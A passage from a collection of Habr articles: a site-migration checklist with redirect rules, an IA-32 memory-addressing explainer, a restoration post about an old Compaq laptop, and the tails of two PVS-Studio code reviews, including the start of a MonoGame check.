label32_[1] = 0;
}
}
```
Предупреждение PVS-Studio: V668 There is no sense in testing the 'label32\_' pointer against null, as the memory was allocated using the 'new' operator. The exception will be generated in the case of memory allocation error. char\_samp.h 73
Есть ещё **101** место, где проверяется указатель, который вернул оператор 'new'. Перечислять их в статье я не вижу смысла. Проще запустить для этого PVS-Studio.
Заключение
----------
Используйте статический анализ регулярно, и вы сэкономите массу времени на решение более полезных задач, чем отлов глупых ошибок и опечаток.
И не забывайте следовать за мною в Twitter: [@Code\_Analysis](https://twitter.com/Code_Analysis). Я регулярно публикую ссылки на интересные статьи по тематике Си++.
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/223743/ | null | ru | null |
# Миграция без жертв: технический чеклист для переезда сайта на новый домен
Переезд или миграция сайта — событие, которое сулит существенные выгоды в долгосрочной перспективе и не менее существенные хлопоты — в краткосрочной. Увы, избежать последних абсолютно невозможно, но при этом вполне реально заблаговременно продумать, как и в какой последовательности с ними следует справляться.
Если малейшее упоминание грядущего переезда вызывает у вас дрожь и неумолимое желание уехать на край света, предварительно выбросив ноутбук в окно, наш чеклист по переезду предназначен именно для вас :)
1. Создание бэкапа
------------------
Как бы внимательно вы ни подошли к переезду, лучше перестрахуйтесь и сделайте бекап всех файлов сайта и баз данных при помощи встроенных инструментов на сервере или внешних дополнительных инструментов.
2. Знакомство с историей нового домена
--------------------------------------
Этот пункт имеет особое значение для тех, кто ещё только задумывается о переезде и «прощупывает почву», а также тех, кто купил домен не глядя. Есть ряд причин, по которым вам стоит отнестись к прошлому своего нового домена с особым вниманием:
1. Если прошлый владелец умудрился схлопотать бан от поисковых систем, вам с ним бороться будет крайне сложно.
2. На сайт могут вести разного рода бэклинки, которые вам необходимо будет учесть и перенаправить. Причём, бэклинки могут быть как качественные, так и наоборот. Просматривая список обратных ссылок, ведущих на домен, вы можете увидеть нормальные органические бэклинки или же явный спам. К тому же, у каждого из ссылающихся доменов будут отличаться показатели трастовости и авторитетности, исходя из которых можно делать выводы о качестве сайтов.
3. Если домен уже использовался до вас, а его тематика во многом пересекается с вашей, воспользуйтесь ситуацией по максимуму. Поставьте редиректы со старых страниц этого домена на релевантные новые страницы своего сайта, которые будут доступны по новым адресам после переезда. Так вы сможете бесплатно получить качественные беклинки и дополнительную долю реферального трафика.
3. Создание временной страницы для отображения во время переезда
----------------------------------------------------------------
Если вы приобрели для переезда домен «с историей» и на него уже ведут какие-то ссылки, рекомендуем поставить на нём временную «заглушку» — страницу с просьбой вернуться позже или ссылками на другие информационные каналы вашей компании. Она должна показываться абсолютно всем пользователям, которые попадут на одну из страниц нового домена до окончания технических работ. Вы можете даже добавить таймер обратного отсчёта, если уже наметили точную дату релиза сайта на новом домене. **Крайне важно**, чтобы эта страница отдавала код ответа 503 Service Unavailable.
*Пример «заглушки» на GitHub*
4. Выгрузка полного списка страниц и настройка редиректов
---------------------------------------------------------
Прежде чем перевозить сайт на другой домен и создавать на нём новые версии всех старых страниц, следует выяснить, сколько у вас имеется страниц в принципе и каких. Это понадобится для построения карты редиректов и последующей их настройки. Для этого вам понадобится краулер, способный собрать список из всех **видимых** страниц сайта, а также любой выбранный вами сервис мониторинга бэклинков.
### 4.1. Сбор списка страниц сайта при помощи краулера
Для сбора и выгрузки списка видимых страниц сайта вы можете воспользоваться любым удобным вам десктопным краулером (в рамках данной статьи я буду описывать процедуры на примере Netpeak Spider). Просто запустите краулинг по всему сайту с учётом всех поддоменов и каталогов, предварительно отключив в настройках учёт инструкций по индексации, а также выбрав минимальный набор анализируемых параметров.
К тому же, подобная проверка позволит выявить и ликвидировать уже на новом домене все проблемы по части кодов ответа сервера — все неработающие ссылки, редиректы с кодом ответа, отличным от 301, и так далее.
После завершения сканирования вам достаточно экспортировать полученные результаты, чтобы сохранить список страниц в табличном виде.
### 4.2. Сбор списка страниц при помощи сервисов по мониторингу бэклинков
Мы настоятельно рекомендуем не ограничиваться списком страниц, полученным в ходе краулинга, и пробежаться по списку бэклинков. Во-первых, это поможет учесть ссылки, которые вы могли упустить. Во-вторых, у вас появится отличный повод проверить, не затесались ли в общий список битые бэклинки, которые вроде бы ведут на ваш сайт, но в итоге отдают 404 код ответа. На них теряется трафик, так что имеет смысл либо связаться с владельцем площадки и заменить ссылку, указав сразу новый домен, либо прописать для неё корректный редирект.
Это можно сделать при помощи «Анализа ссылок» в [Serpstat](https://serpstat.com/ru/backlink/backlinks), инструмента «Сайт эксплорер» в [Ahrefs](https://ahrefs.com/site-explorer), а также ряда других подобных им сервисов. Выбор будет зависеть от ваших личных предпочтений.
### 4.3. Предварительная чистка списка
Выгрузив список ссылок внутренних и внешних ссылок сайта, выполните несколько простых шагов, которые предотвратят появление ряда серьёзных ошибок уже на новом домене:
1. Убедитесь, что в списке страниц для переезда нет полных дублей страниц, доступных по разным адресам. Вы можете обнаружить их, сканируя страницы списка со включённым анализом хеша страницы и хеша текста. Если вы обнаружите на старом домене дубли, у которых есть внешние беклинки, рекомендуется настроить редирект со всех дублей на одну новую каноническую страницу. Лучше позаботиться об устранении дублей сразу же на этом этапе, не дожидаясь финальной проверки на ошибки.
2. Проверьте все ссылки на внешние площадки, которые имеются на вашем сайте: при возможности замените на актуальные, либо удалите вовсе.
3. Выясните, есть ли на сайте ссылки, которые ведут на более недоступные внутренние страницы. Если они имеются только на вашем сайте, а беклинки на них никто не ставил, уберите и замените их при переносе на новый домен. Если же эти найденные недействительные адреса значатся в списке бекликов, учтите их при переезде и выставьте редирект на максимально релевантную страницу.
### 4.4. Настройка серверной переадресации
Полученные обоими способами списки необходимо совместить в одну таблицу, исключив дубликаты, и прописать соответствующие адреса для редиректов на новый домен. Для переадресации следует использовать 301 серверный редирект, который настраивается при помощи файла .htaccess. И проще всего это будет сделать при условии идентичных имён у старых и новых страниц (*old.com/page-about-seo* и *new.com/page-about.seo*).
Код, отвечающий за переадресацию на уровне сервера, будет иметь примерно такой вид:
```
RewriteCond %{HTTP_HOST} ^www\.old\.com$ [NC]
RewriteRule ^(.*)$ http://new.com/$1 [R=301,L]
RewriteCond %{HTTP_HOST} ^old\.com
RewriteRule ^(.*)$ http://new.com/$1 [R=301,L]
```
Также не забудьте при написании кода для редиректов в .htaccess учесть переадресацию на основное зеркало сайта — с префиксом *www.* или без него, с протоколом HTTP и HTTPS.
5. Создание карты сайта
-----------------------
После создания всех необходимых страниц на новом домене вам предстоит следующий шаг — создание карты сайта.
Всего насчитывается 6 видов карт, из которых чаще всего используются три — базовая XML Sitemap для всех страниц сайта, Image Sitemap для изображений и HTML Sitemap, основная задача которой — упростить навигацию внутри сайта для пользователей. Первая создаётся для абсолютно всех типов сайтов, вторая — для сайтов с большим количеством графического контента, который также может приносить трафик из поиска по картинкам.
Для создания карты вы можете использовать несколько инструментов:
1. Встроенный функционал используемой вами CMS или дополнительные внешние плагины для неё.
2. Онлайн-генераторы карт сайта (XML Sitemap Generator, XML-Sitemaps.com, Check Domains и другие).
3. Специальные скрипты для автоматической генерации карт сайта.
4. Десктопные инструменты (InSpyder) и краулеры со встроенным генератором файлов Sitemap (Netpeak Spider, к примеру)
После создания и размещения карты в корневом каталоге сайта не забудьте указать её адрес в директиве *Sitemap* файла robots.txt.
6. Подготовка нового файла robots.txt
-------------------------------------
Перед релизом нового сайта и снятием «заглушки» обязательно позаботьтесь о грамотном составлении файла robots.txt. Один из способов проверить правильность указанных инструкций по индексации — воспользоваться функцией «Виртуальный robots.txt» в Netpeak Spider.
С его помощью вы можете загрузить в программу составленные вами инструкции для поисковых роботов без изменения реального файла robots.txt, а затем взглянуть на сайт «глазами поисковиков». Это позволит понять, не оказались ли какие-то из важных страниц закрыты от индексации, и наоборот.
После применения новых инструкций по индексации обязательно проведите финальную проверку сайта на предмет индексируемости. Если окажется, что вы допустили где-то ошибку, пусть даже просто по невнимательности, значительная часть вашего сайта может не попасть в индекс поисковиков. Результатом станет потеря существенной доли органического трафика.
7. Настройка атрибута rel=canonical
-----------------------------------
После того, как вы устраните все дубликаты и битые ссылки, настроите редиректы и успешно переместите весь контент на новый домен, обязательно уделите внимание атрибуту rel=canonical. Во-первых, убедитесь, что после переезда в коде страниц не осталось канонических атрибутов, указывающих на адреса со старого домена. Во-вторых, на страницах, которые не были до этого канонизированы, мы рекомендуем выставить rel=canonical на них самих.
8. Уведомление поисковых систем о переезде
------------------------------------------
После того, как все основные технические работы остались позади, вам остаётся уведомить поисковые системы о смене адреса сайта.
### 8.1. Смена адреса в Google Search Console
Для смены адреса в GSC вам сперва нужно зарегистрировать новый сайт, а затем зайти в настройки старого домена и выбрать «Изменение адреса».
Выберите новый домен из выпадающего списка и пройдитесь по всем пунктам чеклиста Google Search Console. После этого вы подтвердите отправку запроса на смену адреса.
### 8.2. Смена адреса в Яндекс.Вебмастер
В панели для вебмастеров поисковой системы Яндекс процедура переезда выполняется почти аналогичным образом. Вы можете без труда указать новый адрес в разделе «Индексирование» → «Переезд сайта». Желательно (но не обязательно), чтобы к этому моменту новый домен уже был зарегистрирован в вашем аккаунте «Вебмастера».
### 8.3. Смена адреса в Google Analytics
Для смены адреса в настройках Google Analytics зайдите в раздел с настройками и выберите «Настройки аккаунта» → «Настройки ресурса». В этом разделе вы найдёте поле «URL по умолчанию», в котором необходимо будет указать новый адрес.
Учтите, что все прежние настройки, связанные с электронной торговлей, в связи с переездом нужно будет обновить.
### 8.4. Смена адреса в Яндекс.Метрике
Для изменения домена в аккаунте Яндекс.Метрики зайдите в раздел «Настройка» и на вкладке «Сводка» пропишите новый адрес сайта.
9. Проверка кодов отслеживания
------------------------------
Несмотря на переезд, ваш сайт, по большому счёту, не претерпел никаких особых изменений. Однако при этом вам всё же следует убедиться в том, что все необходимые коды отслеживания работают корректно и присутствуют на всех страницах сайта. Рекомендуем сделать это следующим образом:
1. Взгляните на аналитические отчёты, работающие в режиме реального времени: с их помощью можно будет понять, работают ли коды на вашем сайте в принципе.
2. Воспользуйтесь парсингом (извлечением данных) для поиска кодов на страницах сайта. Вы можете использовать для этого краулер: вам нужно будет лишь настроить парсинг по отрывкам кодов отслеживания, чтобы понять, на каких страницах он есть, а на каких отсутствует.
10. Финальная проверка на ошибки
--------------------------------
После завершения всех технических работ, связанных с переездом, важно также провести финальную проверку и оперативно исправить все допущенные ошибки. Чем скорее вы их обнаружите, тем проще будет их устранить и избежать возможных негативных последствий.
### 10.1. Проверка страниц со старого домена
После успешного переноса контента и настройки переадресации со старого домена на новый обязательно запустите сканирование по списку старых URL. Это необходимо для проверки редиректов, а также поиска возможных битых ссылок и перенаправлений с некорректным кодом ответа (допусти́м только **301 Moved Permanently**).
В рамках проверки краулер покажет, нет ли на сайте:
* цепочек редиректов,
* не 301 редиректов,
* битых редиректов.
### 10.2. Проверка страниц на новом домене
Эту проверку вы аналогичным образом можете провести с помощью десктопного краулера. Желательно, чтобы на сайте вообще не оказалось ошибок высокой и средней критичности, но особенно важно убедиться, что на нём нет следующих проблем:
1. Некорректные коды ответа сервера.
На сайте может быть только 3 варианта кодов ответа: **200 OK**, **301 Moved Permanently** и **200 OK & Canonicalized**. Четвёртого, пятого и шестого не дано. Все прочие коды, включая все 4хх и 5хх, будут свидетельствовать об ошибках в настройках сайта и препятствовать его индексации поисковиками. Исключения составляют лишь страницы с кодами 200 OK & Disallowed и 200 OK & Noindex / Nofollow, которые должны присутствовать на сайте, но не должны попадать в индекс.
2. Дубликаты.
Если уж вам приходится осуществлять в процессе переезда масштабные технические работы, то рекомендуем не откладывать в долгий ящик исправление старых технических ошибок и сделать всё «одним махом». К их числу относятся все существующие виды дубликатов: дубли страниц, текстового содержимого, H1, Title и Description.
3. Отсутствующие метаданные.
Наверняка у вас были веские причины для переноса сайта на новый домен, и, скорее всего, среди них значится улучшение позиций сайта в органике и повышение CTR. Чтобы ваши усилия не были напрасными, убедитесь, что в сниппете будет красоваться не только обновлённый URL, но и корректный Title с грамотно прописанным Description.
4. Ошибки в карте сайта.
Как говорится, shit happens, а потому ошибки могут обнаружиться даже в карте сайта. Их наличие может пагубно сказаться на индексации сайта поисковыми роботами, особенно если у вас сайт-гигант с десятками тысяч страниц. Чтобы проверить карту, в списке встроенных инструментов Netpeak Spider выберите «Валидатор XML Sitemap» и укажите адрес карты для проверки.
Коротко о главном
-----------------
Что бы ни послужило причиной переноса сайта на новый домен, к технической стороне переезда вам следует подойти со всей серьёзностью. Процедура предполагает 10 основных этапов, без которых переезд нельзя считать завершённым:
1. Создание резервной копии сайта.
2. Ознакомление с историей выбранного для переезда домена.
3. Настройка «заглушки» на время переезда.
4. Сбор полного списка страниц для настройки редиректов.
5. Разработка и внедрение карт сайта.
6. Создание нового файла robots.txt.
7. Настройка атрибута Canonical.
8. Смена настроек в панелях для вебмастеров и системах аналитики.
9. Проверка кодов отслеживания на сайте.
10. Финальная проверка на ошибки.
Для выполнения всех указанных выше этапов вам понадобится сервис со сбору бэклинков, краулер, один из доступных на рынке инструментов для создания карт сайта, а также Google Analytics, Google Search Console, Яндекс.Метрика и Яндекс.Вебмастер. | https://habr.com/ru/post/427925/ | null | ru | null |
# Адреса памяти: физические, виртуальные, логические, линейные, эффективные, гостевые
Мне периодически приходится объяснять разным людям некоторые аспекты архитектуры Intel® IA-32, в том числе замысловатость системы адресации данных в памяти, которая, похоже, реализовала почти все когда-то придуманные идеи. Я решил оформить развёрнутый ответ в этой статье. Надеюсь, что он будет полезен ещё кому-нибудь.
При исполнении машинных инструкций считываются и записываются данные, которые могут находиться в нескольких местах: в регистрах самого процессора, в виде констант, закодированных в инструкции, а также в оперативной памяти. Если данные находятся в памяти, то их положение определяется некоторым числом — адресом. По ряду причин, которые, я надеюсь, станут понятными в процессе чтения этой статьи, исходный адрес, закодированный в инструкции, проходит через несколько преобразований.
На рисунке — сегментация и страничное преобразование адреса, как они выглядели 27 лет назад. Иллюстрация из [Intel 80386 Programmers's Reference Manual](http://css.csail.mit.edu/6.858/2014/readings/i386.pdf) 1986 года. Забавно, что в описании рисунка есть аж две опечатки: «803**0**6 Addressing M**a**chanism». В наше время адрес подвергается более сложным преобразованиям, а иллюстрации больше не делают в псевдографике.
Начнём немного с конца — с цели всей цепочки преобразований.
### Физический адрес
Конечный результат всех преобразований других типов адресов, перечисленных далее в этой статье — *физический адрес*. На нём кончается работа внутри центрального процессора по преобразованию адресов.
**Конечный результат?!**На самом деле, легко понять, что это ещё не конец. В платформе, которая должна обработать запрос данных от процессора, может быть несколько чипов DRAM, имеющих собственную структуру разбиения на блоки, а также различные периферийные устройства, отображённые на общее пространство физической памяти. Дальнейший путь транзакции с некоторым физическим адресом будет зависеть от конфигурации нескольких декодеров, находящихся на её пути внутри устройств платформы.
### Эффективный адрес
*Эффективный адрес* — это начало пути. Он задаётся в аргументах индивидуальной машинной инструкции, и вычисляется из значений регистров, смещений и масштабирующих коэффициентов, заданных в ней явно или неявно.
Например, для инструкции (ассемблер в AT&T-нотации)
`addl %eax, 0x11(%ebp, %edx, 8)`
эффективный адрес операнда-назначения будет вычислен по формуле:
`eff_addr = EBP + EDX * 8 + 0x11`
### Логический адрес
Без знания номера и параметров сегмента, в котором указан эффективный адрес, последний бесполезен. Сам сегмент выбирается ещё одним числом, именуемым *селектором*. Пара чисел, записываемая как `selector:offset`, получила имя *логический адрес*. Так как активные селекторы хранятся в группе специальных регистров, чаще всего вместо первого числа в паре записывается имя регистра, например, ds:0x11223344.
Здесь обычно у тех, кто столкнулся с этими понятиями впервые, голова начинает идти кругом. Несколько упростить (или усложнить) ситуацию помогает тот факт, что почти всегда выбор селектора (и связанного с ним сегмента) делается исходя из «смысла» доступа. По умолчанию, если в кодировке машинной инструкции не сказано иного, для получения адресов кода используются логические адреса с селектором CS, для данных — с DS, для стека — с SS.
### Линейный адрес
Эффективный адрес — это смещение от начала сегмента — его базы. Если сложить базу и эффективный адрес, то получим число, называемое *линейным адресом*:
`lin_addr = segment.base + eff_addr`
Преобразование логический → линейный не всегда может быть успешным, так как при его исполнении проверяется несколько условий на свойства сегмента, записанных в полях его дескриптора. Например, проверяется выход за границы сегмента и права доступа.
**Реальный режим**Описанное выше верно при включенной сегментации. В 16-битном реальном режиме смысл селекторов другой, они хранят только базу, а преобразование не осуществляет сегментных проверок. Фактически, обозначения CS, DS, FS, GS, ES, SS имеют совершенно разный смысл в этих двух режимах, что добавляет путаницы.
Сегментация была модной на некотором этапе развития вычислительной техники. В настоящее она почти всюду была заменена другими механизмами, и используется только для специфических задач. Так, в режиме IA-32e (64-битном) только два сегмента могут иметь ненулевую базу. Для остальных четырёх в этом режиме всегда линейный адрес == эффективный.
##### Что такое виртуальный адрес?
В литературе и в документации других архитектур встречается ещё один термин — *виртуальный адрес*. Он не используется в документации Intel на IA-32, однако встречается, например, в описании Intel® Itanium, в котором сегментация не используется. Можно смело считать, что для IA-32 виртуальный == линейный.
В советской литературе по вычислительной технике этот вид адресов также именовался *математическим*.
### Страничное преобразование
Следующее после сегментации преобразование адресов: линейный → физический — имеет множество вариаций в своём алгоритме, в зависимости от того, в каком режиме (32-битном, PAE или 64-битном) находится процессор.
**Что влияет на paging**Примечательно, сколько различных бит из разных системных регистров процессора влияют на процесс страничного преобразования в настоящее время. Я просмотрел свежую сентябрьскую редакцию Intel SDM [1], и вот полный список: CR0.WP, CR0.PG, CR4.PSE, CR4.PAE, CR4.PGE, CR4.PCIDE, CR4.SMEP, CR4.SMAP, IA32\_EFER.LME, IA32\_EFER.NXE, EFLAGS.AC.
Однако общая идея всегда одна и та же: линейный адрес разбивается на несколько частей, каждая из которых служит индексом в одной из системных таблиц, хранящихся в памяти. Записи в таблицах — это адреса начала таблицы следующего уровня или, для последнего уровня — искомая информация о физическом адресе страницы в памяти и её свойствах. Самые младшие биты не преобразуются, а используются для адресации внутри найденной страницы. Например, для режима PAE с размером страниц 4 кбайт преобразование выглядит так:
В разных режимах процессора различается число и ёмкость этих таблиц. Преобразование может завершиться неудачей, если очередная таблица не содержит валидных данных, или права доступа, хранящиеся в последней из них, запрещают доступ к странице; например, при записи в регионы, помеченные как «только для чтения», или попытке чтения памяти ядра из непривилегированного процесса.
### Гостевой физический
До введения возможностей аппаратной виртуализации в процессорах Intel страничное преобразование было последним в цепочке. Когда же на одной системе работают несколько виртуальных машин, то физические адреса, получаемые в каждой из них, приходится транслировать ещё один раз. Это можно делать программным образом, или же аппаратно, если процессор поддерживает функциональность EPT (англ. Extended Page Table). Адрес, раньше называвшийся физическим, был переименован в *гостевой физический* для того, чтобы отличать его от настоящего физического. Они связаны с помощью EPT-преобразования. Алгоритм последнего схож с ранее описанным страничным преобразованием: набор связанных таблиц с общим корнем, последний уровень которых определяет, существует ли физическая страница для указанной гостевой физической.
### Полная картина
Я попытался собрать все преобразования адреса в одну иллюстрацию. В ней преобразования обозначены стрелками, типы адресов обведены в рамки.
Как уже было сказано выше, каждое из преобразований может вернуть ошибку для адресов, не имеющих представления в следующем по цепочке виде. Устранение подобных проблем — это задача операционных систем и мониторов виртуальных машин, реализующих абстракцию виртуальной памяти.
### Заключение
Эволюция, что в природе, что в технике — странная вещь. Она порождает неожиданные структуры, необъяснимые с точки зрения рационального проектирования. Её творения полны атавизмов, правила их поведения иногда почти полностью состоят из исключений. Для того, чтобы понять работу такой системы, часто требуется прокрутить её эволюцию с самого начала, и под нагромождениями всех слоёв найти истину в виде принципа: «ничего не выбрасывать». Я склонен считать архитектуру IA-32 замечательным примером эволюционного развития.
**P.S. Всё как у всех**Вскоре после завершения написания этой статьи я натолкнулся на [презентацию](http://www.linux-kvm.org/wiki/images/3/31/Kvm-forum-2013-systemzarchitecture.pdf) об архитектуре IBM System z, которая примечательна в том числе своей долгой и интересной историей поддержки виртуализации. В этом документе нашлось перечисление всех типов адресов памяти, используемых в System z:
> 1. Virtual: Translated by dynamic address translation (DAT) to real addresses
> 2. Real: Translated to absolute addresses using the prefix register
> 3. Absolute: After applying the prefix register
> 4. Logical: The address seen by the program (this can either be a virtual or a real address)
> 5. Physical: translated to absolute addresses by the Config Array
>
>
>
>
Как можно заметить, их тоже пять.
Спасибо за внимание!
### Литература
1. Intel Corporation. Intel® 64 and IA-32 Architectures Software Developer’s Manual. Volumes 1–3, 2014. [www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html](http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html) | https://habr.com/ru/post/238091/ | null | ru | null |
# Старичок Compaq Armada 7730MT
Уже достаточно давно у меня лежит без дела старенький ноутбук Compaq Armada 7730MT. Когда-то давно на нем стояла Windows 98 и можна было играть в старкрафт, но в какой-то момент хард приказал долго жить и он был заброшен в шкаф. Теперь, в связи с запланированным переездом начали выбрасываться старые вещи когда-то давно заброшенные в шкаф, среди которых и был найден сей раритет. Естественно, выбросить было жалко, а применить просто негде. Вот так и родилась идея привести его в рабочее состояние (благо ничего кроме замены харда ему не потребовалось) и было решено отдать в хорошие руки.
~~Возможно, кто-то из вас, или ваших знакомых, собирает такие почти музейные экспонаты или владеет какой-либо коллекцией старой техники, как [музей видеокарт в Харькове](http://habrahabr.ru/post/124942/) — просьба отписаться в личку.~~ Ноут уехал в Ивано-Франковск к товарищу [monohrom](http://geektimes.ru/users/monohrom/), владеющим [интересным музеем](http://www.retro-pc.net/index_ru.htm). Спасибо всем!
Под катом 19 фотографий ноутбука и еще немного технической информации.
В процессе поиска спецификаций этого ноутбука, чтобы определить, какой linux дистрибутив на нем можно завести, было найдено [обьявление о продаже](http://www.e1.ru/talk/forum/read.php?f=82&i=63296&t=63296&page=0) его более мощного собрата той же модели, датированное 2006 годом, где продавец просил больше 4 тыс. рублей. Много это или мало на то время — судить вам.
Собственно, искомые характеристики: Pentium MMX 166MHz 32MB 2GB 12in SVGA TFT ([более детальные](http://shopping.yahoo.com/231728-compaq-armada-7730mt-laptop-computer/specs))
Как я уже упоминал выше, была произведена замена HDD. На место старого 2 гигабайтового диска стал другой, еще живой 1.4 гигабайтовый диск производства IBM, снятый с похожего, но, к сожалению, уже совсем мертвого ноутбука Compaq Armada 4131T. Было подмечено, что на шлейфе соединяющем хард и корзину стоит дата производства — 1996 год, что косвенно говорит о дате появления сего чуда на свет.
Справедливости ради отмечу, что на борту у этого диска целых 96КБ кеша и как ни странно, но диск того времени поддерживает S.M.A.R.T. и вот его показатели:
```
[ IBM-DMCA-21440 (C58C52G1723) ]
ID Описание атрибута Порог Значение Наихудшее Данные Статус
01 Raw Read Error Rate 20 100 86 2 OK
02 Throughput Performance 50 100 100 0 OK
03 Spinup Time 20 114 82 1 OK
04 Start/Stop Count 84 100 100 5324 OK
05 Realloc Sector Count 6 34 1 346 OK
07 Seek Error Rate 20 100 66 1 OK
08 Seek Time Performance 20 100 100 0 OK
09 Power-On Time Count 20 100 100 3423 OK
0A Spinup Retry Count 60 90 86 50 OK
0C Power Cycle Count 84 100 100 1884 OK
DC Disk Shift 1 89 1 75300867 OK
```
Так же, была произведена попытка восстановить хоть какую то емкость мертвой батарейки, но она, к сожалению, не увенчалась успехом.
Хабрапользователь [igamity](http://geektimes.ru/users/igamity/) подсказывает, что можна [заменить CD-ROM](http://habrahabr.ru/post/143456/#comment_4812613) на вторую батарейку для повышения времени автономной работы.
Еще немного информации из самой системы:
*cat /proc/cpuinfo:*
```
processor : 0
vendor_id : GenuineIntel
cpu family : 5
model : 4
model name : Pentium MMX
stepping : 4
cpu MHz : 166.590
fdiv_bug : no
hlt_bug : no
f00f_bug : yes
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 1
wp : yes
flags : fpu vme de pse tsc msr mce cx8 mmx
bogomips : 332.59
```
*cat /proc/meminfo:*
```
total: used: free: shared: buffers: cached:
Mem: 30273536 29208576 1064960 0 782336 12976128
Swap: 0 0 0
MemTotal: 29564 kB
MemFree: 1040 kB
MemShared: 0 kB
Buffers: 764 kB
Cached: 12672 kB
SwapCached: 0 kB
Active: 8612 kB
Inactive: 4848 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 29564 kB
LowFree: 1040 kB
SwapTotal: 0 kB
SwapFree: 0 kB
```
*lspci:* [более детальный вывод (lspci -vv)](http://pastebin.com/TvuLRrhP)
```
00:0c.0 CardBus bridge: Texas Instruments PCI1131 (rev 01)
00:0c.1 CardBus bridge: Texas Instruments PCI1131 (rev 01)
00:0d.0 VGA compatible controller: S3 Inc. 86cM65 [Aurora64V+] (rev 43)
00:0e.0 ISA bridge: Compaq Computer Corporation MIS-L (rev 04)
00:0e.1 IDE interface: Compaq Computer Corporation Triflex Dual EIDE Controller (rev 03)
```
А дальше идут фотографии самого ноутбука с коментариями.
Внешний вид:
На передней панели слева 4 светодиодных индикатора, справа CD-ROM, между ними — отсек для HDD:
Левая грань. Тут только решетка системы охлаждения и отсек для батареи:
Да, у ноутбука есть выдвижные ножки, для более комфортной работы:
Набор портов — COM, LPT, разъем докстанции, VGA, PS/2, IrDA, питание, разъемы для наушников, микрофона и линейный вход. Так же стоит заглушка на RJ-11/45, но там пусто:
Правая грань. 2 разъема PCMCIA, в одном из них модем и еще 2 разъема неопознанного типа:
Собственно разъемы, ближе:
Матовый! экран:
Немецкая клавиатура + наклейки украинской раскладки, а так же [тензометрический джойстик](http://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BD%D0%B7%D0%BE%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B4%D0%B6%D0%BE%D0%B9%D1%81%D1%82%D0%B8%D0%BA):
Грузимся. BIOS отсутствует. 32МБ оперативной памяти:
Пошла загрузка DSL:
Загрузились, все тип-топ:
Модульность компонентов, это хорошо:
Нижняя сторона ноута, 2 отсека для памяти, планка памяти на 16МБ (16МБ распаяно на материнке):
CD-ROM, 97 год производства:
1.4G HDD IBM-DMCA-21440:
Мертвая батарейка. Даже сейчас далеко не все вендоры делают кнопку тестирования емкости батарейки:
Бонусный модем 14.4/28.8k производства USRobotics:
В сравнении с Acer 1830TZ:
 | https://habr.com/ru/post/143456/ | null | ru | null |
# Playing with null: Checking MonoGame with the PVS-Studio analyzer
The PVS-Studio analyzer often checks code of libraries, frameworks, and engines for game development. Today we check another project — MonoGame, a low-level gamedev framework written in C#.
### Introduction
MonoGame is an open-source framework for game development. It's the heir of the [XNA](https://en.wikipedia.org/wiki/Microsoft_XNA) project, which was developed by Microsoft until 2013.
Let me also remind you about what [PVS-Studio](https://pvs-studio.com/en/pvs-studio/) is :). PVS-Studio is a static code analyzer that searches for various code errors and security-related vulnerabilities. I used PVS-Studio version 7.16 and [MonoGame sources](https://github.com/MonoGame/MonoGame) from 12.01.2022.
It's worth mentioning that the analyzer issued a couple of warnings on some libraries used in the project — DotNetZip and NVorbis. I described them below. If you want, you can easily [exclude third-party code](https://pvs-studio.com/en/docs/manual/0014/) from your analysis.
### Analyzer warnings
**Issue 1**
```
public void Apply3D(AudioListener listener, AudioEmitter emitter)
{
....
var i = FindVariable("Distance");
_variables[i].SetValue(distance);
....
var j = FindVariable("OrientationAngle");
_variables[j].SetValue(angle);
....
}
```
PVS-Studio warning: [V3106](https://pvs-studio.com/en/docs/warnings/v3106/) Possible negative index value. The value of 'i' index could reach -1. MonoGame.Framework.DesktopGL(netstandard2.0) Cue.cs 251
The analyzer noticed that the *i* variable can have value -1. This variable was used as an index.
The *i* variable is initialized by the return value of the *FindVariable* method. Let's look inside this method:
```
private int FindVariable(string name)
{
// Do a simple linear search... which is fast
// for as little variables as most cues have.
for (var i = 0; i < _variables.Length; i++)
{
if (_variables[i].Name == name)
return i;
}
return -1;
}
```
If no element with the corresponding value in the collection is found, then the return value is -1. Obviously, using a negative number as an index will lead to *IndexOutOfRangeException*.
**Issue 2**
The next problem was also found in the *Apply3D* method:
```
public void Apply3D(AudioListener listener, AudioEmitter emitter)
{
....
lock (_engine.UpdateLock)
{
....
// Calculate doppler effect.
var relativeVelocity = emitter.Velocity - listener.Velocity;
relativeVelocity *= emitter.DopplerScale;
}
}
```
PVS-Studio warning: [V3137](https://pvs-studio.com/en/docs/warnings/v3137/) The 'relativeVelocity' variable is assigned but is not used by the end of the function. MonoGame.Framework.DesktopGL(netstandard2.0) Cue.cs 266
The analyzer warns us that the value was assigned, but never used further.
Someone might get confused by the fact that the code is in the *lock* block, but... It means nothing for *relativeVelocity* because this variable is declared locally and doesn't participate in the inter-thread communication.
Maybe the value of *relativeVelocity* should be assigned to a field.
**Issue 3**
```
private void SetData(int offset, int rows, int columns, object data)
{
....
if(....)
{
....
}
else if (rows == 1 || (rows == 4 && columns == 4))
{
// take care of shader compiler optimization
int len = rows * columns * elementSize;
if (_buffer.Length - offset > len)
len = _buffer.Length - offset; // <=
Buffer.BlockCopy(data as Array,
0,
_buffer,
offset,
rows*columns*elementSize);
}
....
}
```
PVS-Studio warning: [V3137](https://pvs-studio.com/en/docs/warnings/v3137/) The 'len' variable is assigned but is not used by the end of the function. MonoGame.Framework.DesktopGL(netstandard2.0) ConstantBuffer.cs 91
Another warning about a value assigned but never used.
The *len* variable is initialized with the following expression:
```
int len = rows * columns * elementSize;
```
If you look closely at the code, you might feel deja vu, because this expression repeats one more time:
```
Buffer.BlockCopy(data as Array, 0,
_buffer,
offset,
rows*columns*elementSize); // <=
```
Most likely, *len* was supposed to be in this place.
**Issue 4**
```
protected virtual object EvalSampler_Declaration(....)
{
if (this.GetValue(tree, TokenType.Semicolon, 0) == null)
return null;
var sampler = new SamplerStateInfo();
sampler.Name = this.GetValue(tree, TokenType.Identifier, 0) as string;
foreach (ParseNode node in nodes)
node.Eval(tree, sampler);
